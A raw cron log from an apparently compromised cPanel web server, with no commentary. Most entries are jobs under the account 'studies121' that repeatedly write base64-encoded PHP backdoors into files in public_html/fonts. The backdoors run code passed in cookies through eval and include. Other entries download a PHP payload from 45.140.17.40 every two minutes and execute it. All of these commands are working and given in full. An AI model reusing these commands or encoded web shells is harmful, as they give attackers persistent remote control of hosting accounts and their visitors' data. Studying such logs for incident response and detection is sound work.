Sep  5 18:26:01 ip-184-168-122-23 CROND[31485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:26:01 ip-184-168-122-23 CROND[31486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:27:01 ip-184-168-122-23 CROND[31581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:27:01 ip-184-168-122-23 CROND[31582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:27:01 ip-184-168-122-23 CROND[31583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:27:01 ip-184-168-122-23 CROND[31584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:28:02 ip-184-168-122-23 CROND[31705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:28:02 ip-184-168-122-23 CROND[31703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:28:02 ip-184-168-122-23 CROND[31704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:28:02 ip-184-168-122-23 CROND[31712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:28:02 ip-184-168-122-23 CROND[31713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:29:01 ip-184-168-122-23 CROND[31830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:29:01 ip-184-168-122-23 CROND[31833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:29:01 ip-184-168-122-23 CROND[31832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:29:01 ip-184-168-122-23 CROND[31834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:30:01 ip-184-168-122-23 CROND[31912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:30:01 ip-184-168-122-23 CROND[31913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:30:01 ip-184-168-122-23 CROND[31914]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:30:01 ip-184-168-122-23 CROND[31919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:30:01 ip-184-168-122-23 CROND[31921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:30:01 ip-184-168-122-23 CROND[31922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:30:01 ip-184-168-122-23 CROND[31923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:30:01 ip-184-168-122-23 CROND[31920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:31:01 ip-184-168-122-23 CROND[32039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:31:01 ip-184-168-122-23 CROND[32041]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 18:31:01 ip-184-168-122-23 CROND[32038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:31:01 ip-184-168-122-23 CROND[32040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:31:01 ip-184-168-122-23 CROND[32042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:32:01 ip-184-168-122-23 CROND[32136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:32:01 ip-184-168-122-23 CROND[32135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:32:01 ip-184-168-122-23 CROND[32138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:32:01 ip-184-168-122-23 CROND[32137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:32:01 ip-184-168-122-23 CROND[32139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:33:01 ip-184-168-122-23 CROND[32231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:33:01 ip-184-168-122-23 CROND[32233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:33:01 ip-184-168-122-23 CROND[32232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:33:01 ip-184-168-122-23 CROND[32234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:34:02 ip-184-168-122-23 CROND[32339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:34:02 ip-184-168-122-23 CROND[32338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:34:02 ip-184-168-122-23 CROND[32341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:34:02 ip-184-168-122-23 CROND[32342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:34:02 ip-184-168-122-23 CROND[32340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:35:01 ip-184-168-122-23 CROND[32569]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:35:01 ip-184-168-122-23 CROND[32573]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 18:35:01 ip-184-168-122-23 CROND[32581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:35:01 ip-184-168-122-23 CROND[32583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:35:01 ip-184-168-122-23 CROND[32582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:35:01 ip-184-168-122-23 CROND[32579]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 18:35:01 ip-184-168-122-23 CROND[32580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:35:01 ip-184-168-122-23 CROND[32578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:36:01 ip-184-168-122-23 CROND[568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:36:01 ip-184-168-122-23 CROND[571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:36:01 ip-184-168-122-23 CROND[573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:36:01 ip-184-168-122-23 CROND[572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:36:01 ip-184-168-122-23 CROND[570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:37:01 ip-184-168-122-23 CROND[704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:37:01 ip-184-168-122-23 CROND[705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:37:01 ip-184-168-122-23 CROND[707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:37:01 ip-184-168-122-23 CROND[706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:38:01 ip-184-168-122-23 CROND[790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:38:01 ip-184-168-122-23 CROND[791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
